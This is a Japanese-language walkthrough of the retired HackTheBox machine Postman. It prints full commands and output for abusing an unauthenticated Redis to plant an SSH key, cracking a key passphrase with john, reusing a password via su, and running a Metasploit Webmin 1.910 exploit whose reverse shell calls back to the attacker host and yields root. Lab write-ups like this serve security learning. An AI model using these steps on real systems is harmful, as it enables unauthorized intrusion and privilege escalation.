HTB Postman Walkthrough
振り返り的な用途で、攻撃プロセスを書き出す。
※ HackTheBoxのPostmanマシンに対するネタバレになるので、挑戦予定の方は🙅♂️
※ RetiredになったマシンのみWalkthroughの公開は可能です。
概要
https://www.hackthebox.eu/home/machines/profile/215
10.10.10.160
Machineの概要を見てみると、Enumeration/CVE
が必要とされている。
どれだけ網羅的にスキャンできて、稼働しているサービスの脆弱性を発見できるかが問われる。
前回突破したOpneAdminよりチャートが鋭いので、より実践的なイメージ。
偵察
Nmap Scan
一番最初にやるべきは、対象ホストにてどのようなサービスが稼働しているかの確認。
# nmap -A 10.10.10.160
Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-28 20:49 JST Nmap scan report for 10.10.10.160 Host is up (0.17s latency). Not shown: 968 closed ports, 29 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=2/28%OT=22%CT=1%CU=33230%PV=Y%DS=2%DC=T%G=Y%TM=5E58FE7 OS:8%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1 OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 445/tcp) HOP RTT ADDRESS 1 247.14 ms 10.10.14.1 2 247.16 ms 10.10.10.160 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 54.70 seconds
脆弱性情報検索
Apache 2.4.29
とOpenSSH 7.6p1
に関しては、OpenAdminのときに使えそうな脆弱性がなかったので今回は対象外とした。
なので、脆弱性がありそうなサービス候補としてはMiniServ 1.910
だけになる。
WebMin
について調べてみると1.910
には、ログインしてパッケージを更新する権限がある場合に、リモートコマンド実行の脆弱性存在するらしい。
お、使えそうと思ったが、ログインした状態かつ、パッケージを更新する権限がある場合なので、この線は無さそうと判断。
その後も、DirBuster
を使って公開ページの調査や、見落としている脆弱性の可能性を探したが、足掛かりが見つからずお手上げ状態。
Nmapのドキュメントを読んでいたら、スキャンのレンジを長くしてみたらどうだろう?と言うことに気付きフルスキャンしてみる。
(教訓:Nmapはドキュメントで理解を深めとくべき)
# nmap -Pn -A -O -p- -e tun0 10.10.10.160 Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-28 20:59 JST Nmap scan report for 10.10.10.160 Host is up (0.17s latency). Not shown: 9996 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA) | 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA) |_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: The Cyber Geek's Personal Website 6379/tcp open redis Redis key-value store 4.0.9 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=2/28%OT=22%CT=1%CU=38980%PV=Y%DS=2%DC=T%G=Y%TM=5E59012 OS:6%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=110%TI=Z%CI=Z%TS=A)SEQ(SP=FF OS:%GCD=1%ISR=110%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3= OS:M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=71 OS:20%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7 OS:%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF= OS:Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=% OS:RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0 OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIP OS:CK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 995/tcp) HOP RTT ADDRESS 1 186.00 ms 10.10.14.1 2 186.16 ms 10.10.10.160 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 131.60 seconds
再度ポートスャンをかけると、前回見落としていたRedis 4.0.9
が見つかる。
早速脆弱性情報を調べてみると、4.x
および5.x
でUnauthenticated Code Execution
と言うのを発見した。
詳細:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
4.x
系は該当するので、これが足掛かりになるやつかと思い実行してみたが、攻撃が全然成功しない。。。。
途方に暮れながら色々調べ直した結果、設定の不備を利用した攻撃が可能そうだったので、これを使ってみることにした。
# telnet 10.10.10.160 6379 Trying 10.10.10.160... Connected to 10.10.10.160. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host.
AUTHが有効になっていないのが確認できた。
侵入
Redis Remote Command Execution
packetstorm
の手順にしたがって公開鍵をポストしてみる。
始めにポストするためのキーペアを作成する。
# ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: SHA256:AVahdPKX21gtT1FZoAVme5GhFAcgyz3kDGXnNmEtfsc root@kali-linux The key's randomart image is: +---[RSA 2048]----+ | =.*o=.@=B==| | o B X O.Oo+ | | . = B.X.+. | | o B.*. E| | S o .... | | | | | | | | | +----[SHA256]-----+
公開鍵をポスト
# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt # redis-cli -h 10.10.10.160 flushall OK # cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit OK # redis-cli -h 10.10.10.160 10.10.10.160:6379> config get dir 1) "dir" 2) "/var/lib/redis" 10.10.10.160:6379> config set dir /var/lib/redis/.ssh/ OK 10.10.10.160:6379> config set dbfilename "authorized_keys" OK 10.10.10.160:6379> save OK 10.10.10.160:6379> quit
ログインしてみる。
# ssh -i id_rsa redis@10.10.10.160 Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Fri Feb 28 12:35:52 2020 from 10.10.15.210 redis@Postman:~$
ピボッティング
redis
redis
ユーザの情報を確認する
redis@Postman:~$ id uid=107(redis) gid=114(redis) groups=114(redis)
sudo確認
$ sudo -l [sudo] password for redis:
passwd
ファイルの確認
redis@Postman:~$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin sshd:x:106:65534::/run/sshd:/usr/sbin/nologin Matt:x:1000:1000:,,,:/home/Matt:/bin/bash redis:x:107:114::/var/lib/redis:/bin/bash
group
の確認
redis@Postman:~$ cat /etc/group root:x:0: daemon:x:1: bin:x:2: sys:x:3: adm:x:4:syslog tty:x:5: disk:x:6: lp:x:7: mail:x:8: news:x:9: uucp:x:10: man:x:12: proxy:x:13: kmem:x:15: dialout:x:20: fax:x:21: voice:x:22: cdrom:x:24: floppy:x:25: tape:x:26: sudo:x:27: audio:x:29: dip:x:30: www-data:x:33: backup:x:34: operator:x:37: list:x:38: irc:x:39: src:x:40: gnats:x:41: shadow:x:42: utmp:x:43: video:x:44: sasl:x:45: plugdev:x:46: staff:x:50: games:x:60: users:x:100: nogroup:x:65534: systemd-journal:x:101: systemd-network:x:102: systemd-resolve:x:103: input:x:104: crontab:x:105: syslog:x:106: messagebus:x:107: mlocate:x:108: uuidd:x:109: ssh:x:110: lpadmin:x:111: sambashare:x:112: Matt:x:1000: ssl-cert:x:113: redis:x:114: netdev:x:115:
今居る場所にどんなファイルが置いてあるか確認
redis@Postman:~$ ls -al total 660 drwxr-x--- 7 redis redis 4096 Feb 28 11:59 . drwxr-xr-x 37 root root 4096 Aug 25 2019 .. drwxr-xr-x 2 root root 4096 Oct 25 15:21 6379 -rw------- 1 redis redis 741 Feb 28 12:30 .bash_history drwx------ 2 redis redis 4096 Feb 28 12:40 .cache -rw-r----- 1 redis redis 46760 Aug 26 2019 dkixshbr.so -rw-rw---- 1 redis redis 92 Feb 28 11:59 dump.rdb drwx------ 3 redis redis 4096 Aug 25 2019 .gnupg -rw-r----- 1 redis redis 46760 Aug 25 2019 ibortfgq.so drwxrwxr-x 3 redis redis 4096 Aug 26 2019 .local -rw-r----- 1 redis redis 440656 Aug 25 2019 module.o -rw-r----- 1 redis redis 46760 Aug 25 2019 qcbxxlig.so drwxr-xr-x 2 redis root 4096 Feb 28 12:40 .ssh -rw-r----- 1 redis redis 46760 Aug 25 2019 vlpaulhk.so
dump.rdb
も気になるが、6379
ディレクトリが気になるので確認。
$ ls -al 6379/ total 12 drwxr-xr-x 2 root root 4096 Oct 25 15:21 . drwxr-x--- 7 redis redis 4096 Feb 28 11:59 .. -rw-r--r-- 1 root root 92 Oct 25 15:21 dump.rdb
2つのdump.rdb
が気になるので、ローカルに持ってきて中身を確認してみる。
$ cp 6379/dump.rdb ./dump.rdb2
# scp -i id_rsa redis@10.10.10.160:/var/lib/redis/dump.rdb2 ./ dump.rdb2 100% 92 0.4KB/s 00:00 # scp -i id_rsa redis@10.10.10.160:/var/lib/redis/dump.rdb ./ dump.rdb
ハッシュが違うので、時点が違う?
# sha1sum dump.rdb* c285c649479e81cf9a4ba1e72a12204493f1c335 dump.rdb 0d718978d50b2da1f3213e4973c0d1a399bb29e2 dump.rdb2
中身を確認
# rdb --command json dump.rdb2 [] # rdb --command json dump.rdb []
何も入ってなくて悲しみにくれる。
また地道な探索作業を開始する。
WEBを公開しているので、何かないか確認してみる
$ cd /var/www $ ls html nikto-test-pFTYNhZX.html SimpleHTTPPutServer.py $ cd html $ ls css fonts images index.html js style.css upload
nikto-test-pFTYNhZX.html SimpleHTTPPutServer.py
が気になるが、それ以外は特になし。
あ、コマンド履歴見ればユーザの最近の操作動向がわかるかも!と思いhistory
を実行する
$ history 1 exit 2 su Matt 3 pwd 4 nano scan.py 5 python scan.py 6 nano scan.py 7 clear 8 nano scan.py 9 clear 10 python scan.py 11 exit 12 exit 13 cat /etc/ssh/sshd_config 14 su Matt 15 clear 16 cd /var/lib/redis 17 su Matt 18 exit 19 cat id_rsa.bak 20 ls -la 21 exit 22 cat id_rsa.bak 23 exit 24 ls -la 25 crontab -l 26 systemctl enable redis-server 27 redis-server 28 ifconfig 29 netstat -a 30 netstat -a 31 netstat -a 32 netstat -a 33 netstat -a > txt 34 exit 35 crontab -l 36 cd ~/ 37 ls 38 nano 6379 39 exit 40 cd /dev/shm/ 41 ls 42 wget 10.10.14.235:8000/LinEnum.sh 43 chmod +x LinEnum.sh 44 ./LinEnum.sh 45 whoami 46 ssh matt@localhost 47 ssh -i /opt/id_rsa.bak matt@localhost 48 ssh -i /opt/id_rsa.bak matt@localhost 49 login matt 50 sudo -l 51 ssh -i /opt/id_rsa.bak localhost 52 ls 53 cd /home/Matt/ 54 ls 55 cat user.txt 56 ls 57 ls .al 58 cd .ssh/ 59 ls 60 cd .ssh 61 ls 62 cat user.txt 63 sudo -i matt 64 exit 65 ls -al 66 id 67 cat /etc/passwd 68 pwd 69 cat /etc/group 70 ls 71 ls -al 6379/ 72 ls -al 73 cp 6379/dump.rdb ./dump.rdb2 74 ls -al 75 ls 76 cd / 77 cd /opt 78 ls 79 ls -al 80 cat id_rsa.bak 81 cd /var/www 82 ls 83 cd html 84 ls 85 cd .. 86 cd /opt 87 ls 88 history
/opt/id_rsa.bak
がめっちゃ気になるので、ダメもとでみてみると・・・
$ cd /opt $ ls id_rsa.bak
ヤバそうなのを見つけた。とりあえず手元に持ってきてssh
してみる。
# scp -i id_rsa redis@10.10.10.160:/opt/id_rsa.bak ./ # ssh -i id_rsa_Matt Matt@10.10.10.160 Enter passphrase for key 'id_rsa_Matt':
Matt
やはりここでもパスフレーズが必要な模様。
john
を使って解析を試みる。
# python ssh2john.py id_rsa_Matt > id_rsa_Matt.hash # john --wordlist=./SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa_Matt.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status computer2008 (id_rsa_Matt) Warning: Only 1 candidates left, minimum 2 needed for performance. 1g 0:00:00:14 DONE (2020-02-28 22:07) 0.06854g/s 982981p/s 982981c/s 982981C/s *7¡Vamos! Session completed
Success: computer2008
早速SSHで接続
# ssh -i id_rsa_Matt Matt@10.10.10.160 Enter passphrase for key 'id_rsa_Matt': Connection closed by 10.10.10.160 port 22
おかしい。正しいパスフレーズを入力しているのにログインできない。
sshの設定ファイルを確認してみる。
$ cd /etc/ssh $ ls moduli sshd_config ssh_host_ecdsa_key.pub ssh_host_ed25519_key.pub ssh_host_rsa_key.pub ssh_config ssh_host_ecdsa_key ssh_host_ed25519_key ssh_host_rsa_key ssh_import_id $ cat sshd_config # $OpenBSD: sshd_config,v 1.101 2017/03/14 07:19:07 djm Exp $ # This is the sshd server system-wide configuration file. See # sshd_config(5) for more information. # This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin # The strategy used for options in the default sshd_config shipped with # OpenSSH is to specify options with their default value where # possible, but leave them commented. Uncommented options override the # default value. Port 22 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress :: #HostKey /etc/ssh/ssh_host_rsa_key #HostKey /etc/ssh/ssh_host_ecdsa_key #HostKey /etc/ssh/ssh_host_ed25519_key # Ciphers and keying #RekeyLimit default none # Logging #SyslogFacility AUTH #LogLevel INFO # Authentication: #LoginGraceTime 2m PermitRootLogin yes #StrictModes yes #MaxAuthTries 6 #MaxSessions 10 PubkeyAuthentication yes # Expect .ssh/authorized_keys2 to be disregarded by default in future. AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 #AuthorizedPrincipalsFile none #AuthorizedKeysCommand none #AuthorizedKeysCommandUser nobody # For this to work you will also need host keys in /etc/ssh/ssh_known_hosts #HostbasedAuthentication no # Change to yes if you don't trust ~/.ssh/known_hosts for # HostbasedAuthentication #IgnoreUserKnownHosts no # Don't read the user's ~/.rhosts and ~/.shosts files #IgnoreRhosts yes # To disable tunneled clear text passwords, change to no here! PasswordAuthentication yes #PermitEmptyPasswords no # Change to yes to enable challenge-response passwords (beware issues with # some PAM modules and threads) ChallengeResponseAuthentication no # Kerberos options #KerberosAuthentication no #KerberosOrLocalPasswd yes #KerberosTicketCleanup yes #KerberosGetAFSToken no # GSSAPI options #GSSAPIAuthentication no #GSSAPICleanupCredentials yes #GSSAPIStrictAcceptorCheck yes #GSSAPIKeyExchange no # Set this to 'yes' to enable PAM authentication, account processing, # and session processing. If this is enabled, PAM authentication will # be allowed through the ChallengeResponseAuthentication and # PasswordAuthentication. Depending on your PAM configuration, # PAM authentication via ChallengeResponseAuthentication may bypass # the setting of "PermitRootLogin without-password". # If you just want the PAM account and session checks to run without # PAM authentication, then enable this but set PasswordAuthentication # and ChallengeResponseAuthentication to 'no'. UsePAM yes #AllowAgentForwarding yes #AllowTcpForwarding yes #GatewayPorts no X11Forwarding yes #X11DisplayOffset 10 #X11UseLocalhost yes #PermitTTY yes PrintMotd no #PrintLastLog yes #TCPKeepAlive yes #UseLogin no #PermitUserEnvironment no #Compression delayed #ClientAliveInterval 0 #ClientAliveCountMax 3 #UseDNS no #PidFile /var/run/sshd.pid #MaxStartups 10:30:100 #PermitTunnel no #ChrootDirectory none #VersionAddendum none #deny users DenyUsers Matt # no default banner path #Banner none # Allow client to pass locale environment variables AcceptEnv LANG LC_* # override default of no subsystems Subsystem sftp /usr/lib/openssh/sftp-server # Example of overriding settings on a per-user basis #Match User anoncvs # X11Forwarding no # AllowTcpForwarding no # PermitTTY no # ForceCommand cvs server
DenyUsers Matt
と言う酷な設定を見つけて崩れ落ちる。
どうしようか考えていたら、ssh無理でもsu
なら行けそうだし、パスワード使いまわしてそう。
と思いsu
を試す
redis@Postman:/etc/ssh$ su Matt Password: Matt@Postman:/etc/ssh$
Matt
になれた。ホームディレクトリをみてみるとuser.txt
があるので拝借。
Matt@Postman:~$ pwd /home/Matt Matt@Postman:~$ ls user.txt Matt@Postman:~$ cat user.txt 517ad0ec2458ca97af8d93xxxxxxxxxx
権限を確認する
Matt@Postman:~$ id uid=1000(Matt) gid=1000(Matt) groups=1000(Matt) Matt@Postman:~$ sudo -l [sudo] password for Matt:
この後どないしようかと考える。
Mattじゃないとみられないディレクトリもなかったし、怪しいと思ってたSimpleHTTPPutServer.py
も使えなかったし。
$ cat SimpleHTTPPutServer.py # python -m SimpleHTTPPutServer 8080 import SimpleHTTPServer import BaseHTTPServer class SputHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_PUT(self): print self.headers length = int(self.headers["Content-Length"]) path = self.translate_path(self.path) with open(path, "wb") as dst: dst.write(self.rfile.read(length)) if __name__ == '__main__': SimpleHTTPServer.test(HandlerClass=SputHTTPRequestHandler)
あ、Matt
でログインできたんならWebMin
にもログインしてみればいいのでは?
Webminはホストのログインユーザのクレデンシャルと同じでログインできる仕様になってるし、
仮にパッケージの更新権限あれば、最初に調べて使えなかったエクスプロイとが使えるのでは!?
試してみる。
めっちゃパッケージのアップデート権限ある。
と言うことで、Matt
を使って例のエクスプロイとを試してみる。
searchsploit
を使ってPOCを入手する。
# searchsploit WebMin 1.910 -------------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) -------------------------------------------------------------------------------------------- ---------------------------------------- Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) | exploits/linux/remote/46984.rb -------------------------------------------------------------------------------------------- ---------------------------------------- Shellcodes: No Result Papers: No Result
Metasploit
から使えるようにモジュールを配置する
# cp /usr/share/exploitdb/exploits/linux/remote/46984.rb /root/.msf4/modules/exploits/poc/
Metasploit
からエクスプロイトする
# msfconsole [i] Database already started [i] The database appears to be already configured, skipping initialization .:okOOOkdc' 'cdkOOOko:. .xOOOOOOOOOOOOc cOOOOOOOOOOOOx. :OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO: 'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO' oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl .OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO. cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl ;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO; .dOOo'WM.OOOOocccxOOOO.MX'xOOd. ,kOl'M.OOOOOOOOOOOOO.M'dOk, :kk;.OOOOOOOOOOOOO.;Ok: ;kOOOOOOOOOOOOOOOk: ,xOOOOOOOOOOOx, .lOOOOOOOl. ,dOd, . =[ metasploit v5.0.2-dev ] + -- --=[ 1855 exploits - 1046 auxiliary - 325 post ] + -- --=[ 541 payloads - 44 encoders - 10 nops ] + -- --=[ 2 evasion ] + -- --=[ ** This is Metasploit 5 development branch ** ] msf5 > use exploit/poc/46984 msf5 exploit(poc/46984) > show options Module options (exploit/poc/46984): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD yes Webmin Password Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target address range or CIDR identifier RPORT 10000 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path for Webmin application USERNAME yes Webmin Username VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_perl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Webmin <= 1.910 msf5 exploit(poc/46984) > set PASSWORD computer2008 PASSWORD => computer2008 msf5 exploit(poc/46984) > set USERNAME Matt USERNAME => Matt msf5 exploit(poc/46984) > set SSL true SSL => true msf5 exploit(poc/46984) > set RHOST 10.10.10.160 RHOST => 10.10.10.160 msf5 exploit(poc/46984) > set LHOST 10.10.14.223 LHOST => 10.10.14.223 msf5 exploit(poc/46984) > options Module options (exploit/poc/46984): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD computer2008 yes Webmin Password Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.10.160 yes The target address range or CIDR identifier RPORT 10000 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Base path for Webmin application USERNAME Matt yes Webmin Username VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_perl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.14.223 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Webmin <= 1.910 msf5 exploit(poc/46984) > exploit [*] Started reverse TCP handler on 10.10.14.223:4444 [+] Session cookie: 8dd7ffee64a09526d4827facae0228cb [*] Attempting to execute the payload... [*] Command shell session 2 opened (10.10.14.223:4444 -> 10.10.10.160:45060) at 2020-02-28 22:27:01 +0900 shell [*] Trying to find binary(python) on target machine [*] Found python at /usr/bin/python [*] Using `python` to pop up an interactive shell /usr/bin/python Python 2.7.15+ (default, Nov 27 2018, 23:36:35) [GCC 7.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> quit() quit() # # id id uid=0(root) gid=0(root) groups=0(root) # # cd cd # # ls ls redis-5.0.0 root.txt # # cat root.txt cat root.txt a257741c5bed8be7778c6exxxxxxxxxx
終わり